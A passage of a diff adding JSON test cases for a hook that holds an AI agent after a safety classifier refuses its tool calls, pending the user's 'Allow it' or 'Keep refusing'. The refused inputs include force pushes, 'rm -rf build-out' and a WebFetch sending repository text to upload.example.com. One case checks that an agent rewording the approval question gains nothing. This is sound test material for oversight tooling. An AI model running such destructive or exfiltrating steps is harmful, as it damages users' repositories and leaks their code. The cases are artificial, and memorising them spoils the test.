"reason": "[Git Destructive] force push to a shared branch"
|
|
2133
|
+
},
|
|
2134
|
+
"name": "b"
|
|
2135
|
+
},
|
|
2136
|
+
{
|
|
2137
|
+
"stop": {},
|
|
2138
|
+
"expect": {
|
|
2139
|
+
"held": true
|
|
2140
|
+
}
|
|
2141
|
+
},
|
|
2142
|
+
{
|
|
2143
|
+
"transcript": "ask",
|
|
2144
|
+
"questions": [
|
|
2145
|
+
{
|
|
2146
|
+
"question": "Auto mode refused 2 Bash steps under the Git Destructive rule. Should auto mode have refused them?",
|
|
2147
|
+
"answer": "Allow it"
|
|
2148
|
+
}
|
|
2149
|
+
]
|
|
2150
|
+
},
|
|
2151
|
+
{
|
|
2152
|
+
"refusal": {
|
|
2153
|
+
"tool_name": "Bash",
|
|
2154
|
+
"tool_input": {
|
|
2155
|
+
"command": "git push --force-with-lease origin claude/late",
|
|
2156
|
+
"description": "Run a step"
|
|
2157
|
+
},
|
|
2158
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2159
|
+
},
|
|
2160
|
+
"name": "c"
|
|
2161
|
+
},
|
|
2162
|
+
{
|
|
2163
|
+
"stop": {},
|
|
2164
|
+
"expect": {
|
|
2165
|
+
"held": true,
|
|
2166
|
+
"reason_contains": [
|
|
2167
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
2168
|
+
],
|
|
2169
|
+
"answers": {
|
|
2170
|
+
"a": "allowed",
|
|
2171
|
+
"b": "allowed",
|
|
2172
|
+
"c": null
|
|
2173
|
+
}
|
|
2174
|
+
}
|
|
2175
|
+
}
|
|
2176
|
+
]
|
|
2177
|
+
},
|
|
2178
|
+
{
|
|
2179
|
+
"id": "A5",
|
|
2180
|
+
"kind": "should act",
|
|
2181
|
+
"source": "eval inputs",
|
|
2182
|
+
"summary": "Groups Git and Git Destructive pending; only the Git Destructive question is answered Allow it.",
|
|
2183
|
+
"events": [
|
|
2184
|
+
{
|
|
2185
|
+
"refusal": {
|
|
2186
|
+
"tool_name": "Bash",
|
|
2187
|
+
"tool_input": {
|
|
2188
|
+
"command": "git commit --amend --no-edit",
|
|
2189
|
+
"description": "Run a step"
|
|
2190
|
+
},
|
|
2191
|
+
"reason": "[Git] rewrites a commit"
|
|
2192
|
+
},
|
|
2193
|
+
"name": "g"
|
|
2194
|
+
},
|
|
2195
|
+
{
|
|
2196
|
+
"refusal": {
|
|
2197
|
+
"tool_name": "Bash",
|
|
2198
|
+
"tool_input": {
|
|
2199
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2200
|
+
"description": "Run a step"
|
|
2201
|
+
},
|
|
2202
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2203
|
+
},
|
|
2204
|
+
"name": "d"
|
|
2205
|
+
},
|
|
2206
|
+
{
|
|
2207
|
+
"stop": {},
|
|
2208
|
+
"expect": {
|
|
2209
|
+
"held": true
|
|
2210
|
+
}
|
|
2211
|
+
},
|
|
2212
|
+
{
|
|
2213
|
+
"transcript": "ask",
|
|
2214
|
+
"questions": [
|
|
2215
|
+
{
|
|
2216
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
2217
|
+
"answer": "Allow it"
|
|
2218
|
+
}
|
|
2219
|
+
]
|
|
2220
|
+
},
|
|
2221
|
+
{
|
|
2222
|
+
"stop": {},
|
|
2223
|
+
"expect": {
|
|
2224
|
+
"answers": {
|
|
2225
|
+
"d": "allowed",
|
|
2226
|
+
"g": null
|
|
2227
|
+
}
|
|
2228
|
+
}
|
|
2229
|
+
}
|
|
2230
|
+
]
|
|
2231
|
+
},
|
|
2232
|
+
{
|
|
2233
|
+
"id": "A6",
|
|
2234
|
+
"kind": "should act",
|
|
2235
|
+
"source": "eval inputs",
|
|
2236
|
+
"summary": "Seven entries, the 5 Bash steps question answered Allow it: five oldest allowed, two newest held with a 2 Bash steps question.",
|
|
2237
|
+
"events": [
|
|
2238
|
+
{
|
|
2239
|
+
"refusal": {
|
|
2240
|
+
"tool_name": "Bash",
|
|
2241
|
+
"tool_input": {
|
|
2242
|
+
"command": "git push --force-with-lease origin claude/a-1",
|
|
2243
|
+
"description": "Run a step"
|
|
2244
|
+
},
|
|
2245
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2246
|
+
},
|
|
2247
|
+
"name": "e1"
|
|
2248
|
+
},
|
|
2249
|
+
{
|
|
2250
|
+
"refusal": {
|
|
2251
|
+
"tool_name": "Bash",
|
|
2252
|
+
"tool_input": {
|
|
2253
|
+
"command": "git push --force-with-lease origin claude/a-2",
|
|
2254
|
+
"description": "Run a step"
|
|
2255
|
+
},
|
|
2256
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2257
|
+
},
|
|
2258
|
+
"name": "e2"
|
|
2259
|
+
},
|
|
2260
|
+
{
|
|
2261
|
+
"refusal": {
|
|
2262
|
+
"tool_name": "Bash",
|
|
2263
|
+
"tool_input": {
|
|
2264
|
+
"command": "git push --force-with-lease origin claude/a-3",
|
|
2265
|
+
"description": "Run a step"
|
|
2266
|
+
},
|
|
2267
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2268
|
+
},
|
|
2269
|
+
"name": "e3"
|
|
2270
|
+
},
|
|
2271
|
+
{
|
|
2272
|
+
"refusal": {
|
|
2273
|
+
"tool_name": "Bash",
|
|
2274
|
+
"tool_input": {
|
|
2275
|
+
"command": "git push --force-with-lease origin claude/a-4",
|
|
2276
|
+
"description": "Run a step"
|
|
2277
|
+
},
|
|
2278
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2279
|
+
},
|
|
2280
|
+
"name": "e4"
|
|
2281
|
+
},
|
|
2282
|
+
{
|
|
2283
|
+
"refusal": {
|
|
2284
|
+
"tool_name": "Bash",
|
|
2285
|
+
"tool_input": {
|
|
2286
|
+
"command": "git push --force-with-lease origin claude/a-5",
|
|
2287
|
+
"description": "Run a step"
|
|
2288
|
+
},
|
|
2289
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2290
|
+
},
|
|
2291
|
+
"name": "e5"
|
|
2292
|
+
},
|
|
2293
|
+
{
|
|
2294
|
+
"refusal": {
|
|
2295
|
+
"tool_name": "Bash",
|
|
2296
|
+
"tool_input": {
|
|
2297
|
+
"command": "git push --force-with-lease origin claude/a-6",
|
|
2298
|
+
"description": "Run a step"
|
|
2299
|
+
},
|
|
2300
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2301
|
+
},
|
|
2302
|
+
"name": "e6"
|
|
2303
|
+
},
|
|
2304
|
+
{
|
|
2305
|
+
"refusal": {
|
|
2306
|
+
"tool_name": "Bash",
|
|
2307
|
+
"tool_input": {
|
|
2308
|
+
"command": "git push --force-with-lease origin claude/a-7",
|
|
2309
|
+
"description": "Run a step"
|
|
2310
|
+
},
|
|
2311
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2312
|
+
},
|
|
2313
|
+
"name": "e7"
|
|
2314
|
+
},
|
|
2315
|
+
{
|
|
2316
|
+
"stop": {},
|
|
2317
|
+
"expect": {
|
|
2318
|
+
"held": true
|
|
2319
|
+
}
|
|
2320
|
+
},
|
|
2321
|
+
{
|
|
2322
|
+
"transcript": "ask",
|
|
2323
|
+
"questions": [
|
|
2324
|
+
{
|
|
2325
|
+
"question": "Auto mode refused 5 Bash steps under the Git Destructive rule. Should auto mode have refused them?",
|
|
2326
|
+
"answer": "Allow it"
|
|
2327
|
+
}
|
|
2328
|
+
]
|
|
2329
|
+
},
|
|
2330
|
+
{
|
|
2331
|
+
"stop": {},
|
|
2332
|
+
"expect": {
|
|
2333
|
+
"held": true,
|
|
2334
|
+
"reason_contains": [
|
|
2335
|
+
"Auto mode refused 2 Bash steps under the Git Destructive rule. Should auto mode have refused them?"
|
|
2336
|
+
],
|
|
2337
|
+
"answers": {
|
|
2338
|
+
"e1": "allowed",
|
|
2339
|
+
"e2": "allowed",
|
|
2340
|
+
"e3": "allowed",
|
|
2341
|
+
"e4": "allowed",
|
|
2342
|
+
"e5": "allowed",
|
|
2343
|
+
"e6": null,
|
|
2344
|
+
"e7": null
|
|
2345
|
+
}
|
|
2346
|
+
}
|
|
2347
|
+
}
|
|
2348
|
+
]
|
|
2349
|
+
},
|
|
2350
|
+
{
|
|
2351
|
+
"id": "A7",
|
|
2352
|
+
"kind": "should act",
|
|
2353
|
+
"source": "eval inputs",
|
|
2354
|
+
"summary": "The agent reworded the question and the answer is Allow it: no entry changes, held again with the exact question.",
|
|
2355
|
+
"events": [
|
|
2356
|
+
{
|
|
2357
|
+
"refusal": {
|
|
2358
|
+
"tool_name": "Bash",
|
|
2359
|
+
"tool_input": {
|
|
2360
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2361
|
+
"description": "Run a step"
|
|
2362
|
+
},
|
|
2363
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2364
|
+
},
|
|
2365
|
+
"name": "a"
|
|
2366
|
+
},
|
|
2367
|
+
{
|
|
2368
|
+
"stop": {},
|
|
2369
|
+
"expect": {
|
|
2370
|
+
"held": true
|
|
2371
|
+
}
|
|
2372
|
+
},
|
|
2373
|
+
{
|
|
2374
|
+
"transcript": "ask",
|
|
2375
|
+
"questions": [
|
|
2376
|
+
{
|
|
2377
|
+
"question": "Should auto mode have refused the Bash git push to claude/x?",
|
|
2378
|
+
"answer": "Allow it"
|
|
2379
|
+
}
|
|
2380
|
+
]
|
|
2381
|
+
},
|
|
2382
|
+
{
|
|
2383
|
+
"stop": {},
|
|
2384
|
+
"expect": {
|
|
2385
|
+
"held": true,
|
|
2386
|
+
"reason_contains": [
|
|
2387
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
2388
|
+
],
|
|
2389
|
+
"answers": {
|
|
2390
|
+
"a": null
|
|
2391
|
+
}
|
|
2392
|
+
}
|
|
2393
|
+
}
|
|
2394
|
+
]
|
|
2395
|
+
},
|
|
2396
|
+
{
|
|
2397
|
+
"id": "A8",
|
|
2398
|
+
"kind": "should stay quiet",
|
|
2399
|
+
"source": "eval inputs",
|
|
2400
|
+
"summary": "Keep refusing: entry kept, turn ends.",
|
|
2401
|
+
"events": [
|
|
2402
|
+
{
|
|
2403
|
+
"refusal": {
|
|
2404
|
+
"tool_name": "Bash",
|
|
2405
|
+
"tool_input": {
|
|
2406
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2407
|
+
"description": "Run a step"
|
|
2408
|
+
},
|
|
2409
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2410
|
+
},
|
|
2411
|
+
"name": "a"
|
|
2412
|
+
},
|
|
2413
|
+
{
|
|
2414
|
+
"stop": {},
|
|
2415
|
+
"expect": {
|
|
2416
|
+
"held": true
|
|
2417
|
+
}
|
|
2418
|
+
},
|
|
2419
|
+
{
|
|
2420
|
+
"transcript": "ask",
|
|
2421
|
+
"questions": [
|
|
2422
|
+
{
|
|
2423
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
2424
|
+
"answer": "Keep refusing"
|
|
2425
|
+
}
|
|
2426
|
+
]
|
|
2427
|
+
},
|
|
2428
|
+
{
|
|
2429
|
+
"stop": {},
|
|
2430
|
+
"expect": {
|
|
2431
|
+
"held": false,
|
|
2432
|
+
"answers": {
|
|
2433
|
+
"a": "kept"
|
|
2434
|
+
}
|
|
2435
|
+
}
|
|
2436
|
+
}
|
|
2437
|
+
]
|
|
2438
|
+
},
|
|
2439
|
+
{
|
|
2440
|
+
"id": "A9",
|
|
2441
|
+
"kind": "should stay quiet",
|
|
2442
|
+
"source": "eval inputs",
|
|
2443
|
+
"summary": "Answer typed as other text: entry stays pending, turn ends because the exact question was asked.",
|
|
2444
|
+
"events": [
|
|
2445
|
+
{
|
|
2446
|
+
"refusal": {
|
|
2447
|
+
"tool_name": "Bash",
|
|
2448
|
+
"tool_input": {
|
|
2449
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2450
|
+
"description": "Run a step"
|
|
2451
|
+
},
|
|
2452
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2453
|
+
},
|
|
2454
|
+
"name": "a"
|
|
2455
|
+
},
|
|
2456
|
+
{
|
|
2457
|
+
"stop": {},
|
|
2458
|
+
"expect": {
|
|
2459
|
+
"held": true
|
|
2460
|
+
}
|
|
2461
|
+
},
|
|
2462
|
+
{
|
|
2463
|
+
"transcript": "ask",
|
|
2464
|
+
"questions": [
|
|
2465
|
+
{
|
|
2466
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
2467
|
+
"answer": "Let me look at the command first"
|
|
2468
|
+
}
|
|
2469
|
+
]
|
|
2470
|
+
},
|
|
2471
|
+
{
|
|
2472
|
+
"stop": {},
|
|
2473
|
+
"expect": {
|
|
2474
|
+
"held": false,
|
|
2475
|
+
"answers": {
|
|
2476
|
+
"a": null
|
|
2477
|
+
}
|
|
2478
|
+
}
|
|
2479
|
+
}
|
|
2480
|
+
]
|
|
2481
|
+
},
|
|
2482
|
+
{
|
|
2483
|
+
"id": "A10",
|
|
2484
|
+
"kind": "should stay quiet",
|
|
2485
|
+
"source": "eval inputs",
|
|
2486
|
+
"summary": "Allowed entry, then a Bash call ran add_auto_mode_rule.py add naming its ledger file: turn ends.",
|
|
2487
|
+
"events": [
|
|
2488
|
+
{
|
|
2489
|
+
"refusal": {
|
|
2490
|
+
"tool_name": "Bash",
|
|
2491
|
+
"tool_input": {
|
|
2492
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2493
|
+
"description": "Run a step"
|
|
2494
|
+
},
|
|
2495
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2496
|
+
},
|
|
2497
|
+
"name": "a"
|
|
2498
|
+
},
|
|
2499
|
+
{
|
|
2500
|
+
"stop": {},
|
|
2501
|
+
"expect": {
|
|
2502
|
+
"held": true
|
|
2503
|
+
}
|
|
2504
|
+
},
|
|
2505
|
+
{
|
|
2506
|
+
"transcript": "ask",
|
|
2507
|
+
"questions": [
|
|
2508
|
+
{
|
|
2509
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
2510
|
+
"answer": "Allow it"
|
|
2511
|
+
}
|
|
2512
|
+
]
|
|
2513
|
+
},
|
|
2514
|
+
{
|
|
2515
|
+
"stop": {},
|
|
2516
|
+
"expect": {
|
|
2517
|
+
"held": true
|
|
2518
|
+
}
|
|
2519
|
+
},
|
|
2520
|
+
{
|
|
2521
|
+
"transcript": "bash",
|
|
2522
|
+
"command": "python3 setup/add_auto_mode_rule.py add --label \"Own branch force push\" --rule-file /tmp/rule.txt --ledger @@ledger:a@@"
|
|
2523
|
+
},
|
|
2524
|
+
{
|
|
2525
|
+
"stop": {},
|
|
2526
|
+
"expect": {
|
|
2527
|
+
"held": false,
|
|
2528
|
+
"answers": {
|
|
2529
|
+
"a": "allowed"
|
|
2530
|
+
}
|
|
2531
|
+
}
|
|
2532
|
+
}
|
|
2533
|
+
]
|
|
2534
|
+
},
|
|
2535
|
+
{
|
|
2536
|
+
"id": "A11",
|
|
2537
|
+
"kind": "should stay quiet",
|
|
2538
|
+
"source": "eval inputs",
|
|
2539
|
+
"summary": "Allowed entry whose rule hold fired twice: turn ends.",
|
|
2540
|
+
"events": [
|
|
2541
|
+
{
|
|
2542
|
+
"refusal": {
|
|
2543
|
+
"tool_name": "Bash",
|
|
2544
|
+
"tool_input": {
|
|
2545
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2546
|
+
"description": "Run a step"
|
|
2547
|
+
},
|
|
2548
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2549
|
+
},
|
|
2550
|
+
"name": "a"
|
|
2551
|
+
},
|
|
2552
|
+
{
|
|
2553
|
+
"stop": {},
|
|
2554
|
+
"expect": {
|
|
2555
|
+
"held": true
|
|
2556
|
+
}
|
|
2557
|
+
},
|
|
2558
|
+
{
|
|
2559
|
+
"transcript": "ask",
|
|
2560
|
+
"questions": [
|
|
2561
|
+
{
|
|
2562
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
2563
|
+
"answer": "Allow it"
|
|
2564
|
+
}
|
|
2565
|
+
]
|
|
2566
|
+
},
|
|
2567
|
+
{
|
|
2568
|
+
"stop": {},
|
|
2569
|
+
"expect": {
|
|
2570
|
+
"held": true
|
|
2571
|
+
}
|
|
2572
|
+
},
|
|
2573
|
+
{
|
|
2574
|
+
"stop": {},
|
|
2575
|
+
"expect": {
|
|
2576
|
+
"held": true
|
|
2577
|
+
}
|
|
2578
|
+
},
|
|
2579
|
+
{
|
|
2580
|
+
"stop": {},
|
|
2581
|
+
"expect": {
|
|
2582
|
+
"held": false,
|
|
2583
|
+
"answers": {
|
|
2584
|
+
"a": "allowed"
|
|
2585
|
+
}
|
|
2586
|
+
}
|
|
2587
|
+
}
|
|
2588
|
+
]
|
|
2589
|
+
},
|
|
2590
|
+
{
|
|
2591
|
+
"id": "N1a",
|
|
2592
|
+
"kind": "should act",
|
|
2593
|
+
"source": "plan check 5 findings",
|
|
2594
|
+
"summary": "N1: the Git question answered Allow it leaves the Git Destructive entry pending (A5 is the other direction).",
|
|
2595
|
+
"events": [
|
|
2596
|
+
{
|
|
2597
|
+
"refusal": {
|
|
2598
|
+
"tool_name": "Bash",
|
|
2599
|
+
"tool_input": {
|
|
2600
|
+
"command": "git commit --amend --no-edit",
|
|
2601
|
+
"description": "Run a step"
|
|
2602
|
+
},
|
|
2603
|
+
"reason": "[Git] rewrites a commit"
|
|
2604
|
+
},
|
|
2605
|
+
"name": "g"
|
|
2606
|
+
},
|
|
2607
|
+
{
|
|
2608
|
+
"refusal": {
|
|
2609
|
+
"tool_name": "Bash",
|
|
2610
|
+
"tool_input": {
|
|
2611
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2612
|
+
"description": "Run a step"
|
|
2613
|
+
},
|
|
2614
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2615
|
+
},
|
|
2616
|
+
"name": "d"
|
|
2617
|
+
},
|
|
2618
|
+
{
|
|
2619
|
+
"stop": {},
|
|
2620
|
+
"expect": {
|
|
2621
|
+
"held": true
|
|
2622
|
+
}
|
|
2623
|
+
},
|
|
2624
|
+
{
|
|
2625
|
+
"transcript": "ask",
|
|
2626
|
+
"questions": [
|
|
2627
|
+
{
|
|
2628
|
+
"question": "Auto mode refused 1 Bash step under the Git rule. Should auto mode have refused it?",
|
|
2629
|
+
"answer": "Allow it"
|
|
2630
|
+
}
|
|
2631
|
+
]
|
|
2632
|
+
},
|
|
2633
|
+
{
|
|
2634
|
+
"stop": {},
|
|
2635
|
+
"expect": {
|
|
2636
|
+
"answers": {
|
|
2637
|
+
"g": "allowed",
|
|
2638
|
+
"d": null
|
|
2639
|
+
}
|
|
2640
|
+
}
|
|
2641
|
+
}
|
|
2642
|
+
]
|
|
2643
|
+
},
|
|
2644
|
+
{
|
|
2645
|
+
"id": "N1b",
|
|
2646
|
+
"kind": "should act",
|
|
2647
|
+
"source": "plan check 5 findings",
|
|
2648
|
+
"summary": "N1: the Bash question answered Allow it leaves the BashOutput entry pending.",
|
|
2649
|
+
"events": [
|
|
2650
|
+
{
|
|
2651
|
+
"refusal": {
|
|
2652
|
+
"tool_name": "Bash",
|
|
2653
|
+
"tool_input": {
|
|
2654
|
+
"command": "rm -rf build-out",
|
|
2655
|
+
"description": "Run a step"
|
|
2656
|
+
},
|
|
2657
|
+
"reason": "[Destructive or Unwanted Actions] changes files outside the task"
|
|
2658
|
+
},
|
|
2659
|
+
"name": "bash"
|
|
2660
|
+
},
|
|
2661
|
+
{
|
|
2662
|
+
"refusal": {
|
|
2663
|
+
"tool_name": "BashOutput",
|
|
2664
|
+
"tool_input": {
|
|
2665
|
+
"bash_id": "shell_7"
|
|
2666
|
+
},
|
|
2667
|
+
"reason": "[Destructive or Unwanted Actions] changes files outside the task"
|
|
2668
|
+
},
|
|
2669
|
+
"name": "output"
|
|
2670
|
+
},
|
|
2671
|
+
{
|
|
2672
|
+
"stop": {},
|
|
2673
|
+
"expect": {
|
|
2674
|
+
"held": true
|
|
2675
|
+
}
|
|
2676
|
+
},
|
|
2677
|
+
{
|
|
2678
|
+
"transcript": "ask",
|
|
2679
|
+
"questions": [
|
|
2680
|
+
{
|
|
2681
|
+
"question": "Auto mode refused 1 Bash step under the Destructive or Unwanted Actions rule. Should auto mode have refused it?",
|
|
2682
|
+
"answer": "Allow it"
|
|
2683
|
+
}
|
|
2684
|
+
]
|
|
2685
|
+
},
|
|
2686
|
+
{
|
|
2687
|
+
"stop": {},
|
|
2688
|
+
"expect": {
|
|
2689
|
+
"answers": {
|
|
2690
|
+
"bash": "allowed",
|
|
2691
|
+
"output": null
|
|
2692
|
+
}
|
|
2693
|
+
}
|
|
2694
|
+
}
|
|
2695
|
+
]
|
|
2696
|
+
},
|
|
2697
|
+
{
|
|
2698
|
+
"id": "N1c",
|
|
2699
|
+
"kind": "should act",
|
|
2700
|
+
"source": "plan check 5 findings",
|
|
2701
|
+
"summary": "N1: the BashOutput question answered Allow it leaves the Bash entry pending.",
|
|
2702
|
+
"events": [
|
|
2703
|
+
{
|
|
2704
|
+
"refusal": {
|
|
2705
|
+
"tool_name": "Bash",
|
|
2706
|
+
"tool_input": {
|
|
2707
|
+
"command": "rm -rf build-out",
|
|
2708
|
+
"description": "Run a step"
|
|
2709
|
+
},
|
|
2710
|
+
"reason": "[Destructive or Unwanted Actions] changes files outside the task"
|
|
2711
|
+
},
|
|
2712
|
+
"name": "bash"
|
|
2713
|
+
},
|
|
2714
|
+
{
|
|
2715
|
+
"refusal": {
|
|
2716
|
+
"tool_name": "BashOutput",
|
|
2717
|
+
"tool_input": {
|
|
2718
|
+
"bash_id": "shell_7"
|
|
2719
|
+
},
|
|
2720
|
+
"reason": "[Destructive or Unwanted Actions] changes files outside the task"
|
|
2721
|
+
},
|
|
2722
|
+
"name": "output"
|
|
2723
|
+
},
|
|
2724
|
+
{
|
|
2725
|
+
"stop": {},
|
|
2726
|
+
"expect": {
|
|
2727
|
+
"held": true
|
|
2728
|
+
}
|
|
2729
|
+
},
|
|
2730
|
+
{
|
|
2731
|
+
"transcript": "ask",
|
|
2732
|
+
"questions": [
|
|
2733
|
+
{
|
|
2734
|
+
"question": "Auto mode refused 1 BashOutput step under the Destructive or Unwanted Actions rule. Should auto mode have refused it?",
|
|
2735
|
+
"answer": "Allow it"
|
|
2736
|
+
}
|
|
2737
|
+
]
|
|
2738
|
+
},
|
|
2739
|
+
{
|
|
2740
|
+
"stop": {},
|
|
2741
|
+
"expect": {
|
|
2742
|
+
"answers": {
|
|
2743
|
+
"bash": null,
|
|
2744
|
+
"output": "allowed"
|
|
2745
|
+
}
|
|
2746
|
+
}
|
|
2747
|
+
}
|
|
2748
|
+
]
|
|
2749
|
+
},
|
|
2750
|
+
{
|
|
2751
|
+
"id": "N1d",
|
|
2752
|
+
"kind": "should act",
|
|
2753
|
+
"source": "plan check 5 findings",
|
|
2754
|
+
"summary": "N1: the Edit question answered Allow it leaves the NotebookEdit entry pending.",
|
|
2755
|
+
"events": [
|
|
2756
|
+
{
|
|
2757
|
+
"refusal": {
|
|
2758
|
+
"tool_name": "Edit",
|
|
2759
|
+
"tool_input": {
|
|
2760
|
+
"file_path": "/work/app/settings.py",
|
|
2761
|
+
"old_string": "A = 1",
|
|
2762
|
+
"new_string": "A = 2"
|
|
2763
|
+
},
|
|
2764
|
+
"reason": "[Destructive or Unwanted Actions] changes files outside the task"
|
|
2765
|
+
},
|
|
2766
|
+
"name": "edit"
|
|
2767
|
+
},
|
|
2768
|
+
{
|
|
2769
|
+
"refusal": {
|
|
2770
|
+
"tool_name": "NotebookEdit",
|
|
2771
|
+
"tool_input": {
|
|
2772
|
+
"notebook_path": "/work/app/report.ipynb",
|
|
2773
|
+
"new_source": "print(1)"
|
|
2774
|
+
},
|
|
2775
|
+
"reason": "[Destructive or Unwanted Actions] changes files outside the task"
|
|
2776
|
+
},
|
|
2777
|
+
"name": "notebook"
|
|
2778
|
+
},
|
|
2779
|
+
{
|
|
2780
|
+
"stop": {},
|
|
2781
|
+
"expect": {
|
|
2782
|
+
"held": true
|
|
2783
|
+
}
|
|
2784
|
+
},
|
|
2785
|
+
{
|
|
2786
|
+
"transcript": "ask",
|
|
2787
|
+
"questions": [
|
|
2788
|
+
{
|
|
2789
|
+
"question": "Auto mode refused 1 Edit step under the Destructive or Unwanted Actions rule. Should auto mode have refused it?",
|
|
2790
|
+
"answer": "Allow it"
|
|
2791
|
+
}
|
|
2792
|
+
]
|
|
2793
|
+
},
|
|
2794
|
+
{
|
|
2795
|
+
"stop": {},
|
|
2796
|
+
"expect": {
|
|
2797
|
+
"answers": {
|
|
2798
|
+
"edit": "allowed",
|
|
2799
|
+
"notebook": null
|
|
2800
|
+
}
|
|
2801
|
+
}
|
|
2802
|
+
}
|
|
2803
|
+
]
|
|
2804
|
+
},
|
|
2805
|
+
{
|
|
2806
|
+
"id": "N1e",
|
|
2807
|
+
"kind": "should act",
|
|
2808
|
+
"source": "plan check 5 findings",
|
|
2809
|
+
"summary": "N1: the NotebookEdit question answered Allow it leaves the Edit entry pending.",
|
|
2810
|
+
"events": [
|
|
2811
|
+
{
|
|
2812
|
+
"refusal": {
|
|
2813
|
+
"tool_name": "Edit",
|
|
2814
|
+
"tool_input": {
|
|
2815
|
+
"file_path": "/work/app/settings.py",
|
|
2816
|
+
"old_string": "A = 1",
|
|
2817
|
+
"new_string": "A = 2"
|
|
2818
|
+
},
|
|
2819
|
+
"reason": "[Destructive or Unwanted Actions] changes files outside the task"
|
|
2820
|
+
},
|
|
2821
|
+
"name": "edit"
|
|
2822
|
+
},
|
|
2823
|
+
{
|
|
2824
|
+
"refusal": {
|
|
2825
|
+
"tool_name": "NotebookEdit",
|
|
2826
|
+
"tool_input": {
|
|
2827
|
+
"notebook_path": "/work/app/report.ipynb",
|
|
2828
|
+
"new_source": "print(1)"
|
|
2829
|
+
},
|
|
2830
|
+
"reason": "[Destructive or Unwanted Actions] changes files outside the task"
|
|
2831
|
+
},
|
|
2832
|
+
"name": "notebook"
|
|
2833
|
+
},
|
|
2834
|
+
{
|
|
2835
|
+
"stop": {},
|
|
2836
|
+
"expect": {
|
|
2837
|
+
"held": true
|
|
2838
|
+
}
|
|
2839
|
+
},
|
|
2840
|
+
{
|
|
2841
|
+
"transcript": "ask",
|
|
2842
|
+
"questions": [
|
|
2843
|
+
{
|
|
2844
|
+
"question": "Auto mode refused 1 NotebookEdit step under the Destructive or Unwanted Actions rule. Should auto mode have refused it?",
|
|
2845
|
+
"answer": "Allow it"
|
|
2846
|
+
}
|
|
2847
|
+
]
|
|
2848
|
+
},
|
|
2849
|
+
{
|
|
2850
|
+
"stop": {},
|
|
2851
|
+
"expect": {
|
|
2852
|
+
"answers": {
|
|
2853
|
+
"edit": null,
|
|
2854
|
+
"notebook": "allowed"
|
|
2855
|
+
}
|
|
2856
|
+
}
|
|
2857
|
+
}
|
|
2858
|
+
]
|
|
2859
|
+
},
|
|
2860
|
+
{
|
|
2861
|
+
"id": "N2a",
|
|
2862
|
+
"kind": "should act",
|
|
2863
|
+
"source": "plan check 5 findings",
|
|
2864
|
+
"summary": "N2: two groups, only one asked and answered: the other group is still held.",
|
|
2865
|
+
"events": [
|
|
2866
|
+
{
|
|
2867
|
+
"refusal": {
|
|
2868
|
+
"tool_name": "Bash",
|
|
2869
|
+
"tool_input": {
|
|
2870
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2871
|
+
"description": "Run a step"
|
|
2872
|
+
},
|
|
2873
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2874
|
+
},
|
|
2875
|
+
"name": "a"
|
|
2876
|
+
},
|
|
2877
|
+
{
|
|
2878
|
+
"refusal": {
|
|
2879
|
+
"tool_name": "WebFetch",
|
|
2880
|
+
"tool_input": {
|
|
2881
|
+
"url": "https://upload.example.com/collect?source=repo",
|
|
2882
|
+
"prompt": "Summarize the page"
|
|
2883
|
+
},
|
|
2884
|
+
"reason": "[Data Exfiltration] sends repository text to an outside host"
|
|
2885
|
+
},
|
|
2886
|
+
"name": "b"
|
|
2887
|
+
},
|
|
2888
|
+
{
|
|
2889
|
+
"transcript": "ask",
|
|
2890
|
+
"questions": [
|
|
2891
|
+
{
|
|
2892
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
2893
|
+
"answer": "Keep refusing"
|
|
2894
|
+
}
|
|
2895
|
+
]
|
|
2896
|
+
},
|
|
2897
|
+
{
|
|
2898
|
+
"stop": {},
|
|
2899
|
+
"expect": {
|
|
2900
|
+
"held": true,
|
|
2901
|
+
"reason_contains": [
|
|
2902
|
+
"Auto mode refused 1 WebFetch step under the Data Exfiltration rule. Should auto mode have refused it?"
|
|
2903
|
+
],
|
|
2904
|
+
"reason_excludes": [
|
|
2905
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
2906
|
+
],
|
|
2907
|
+
"answers": {
|
|
2908
|
+
"a": "kept",
|
|
2909
|
+
"b": null
|
|
2910
|
+
}
|
|
2911
|
+
}
|
|
2912
|
+
}
|
|
2913
|
+
]
|
|
2914
|
+
},
|
|
2915
|
+
{
|
|
2916
|
+
"id": "N2b",
|
|
2917
|
+
"kind": "should act",
|
|
2918
|
+
"source": "plan check 5 findings",
|
|
2919
|
+
"summary": "N2: two allowed entries in two groups, one add call names one ledger file: the other is still held.",
|
|
2920
|
+
"events": [
|
|
2921
|
+
{
|
|
2922
|
+
"refusal": {
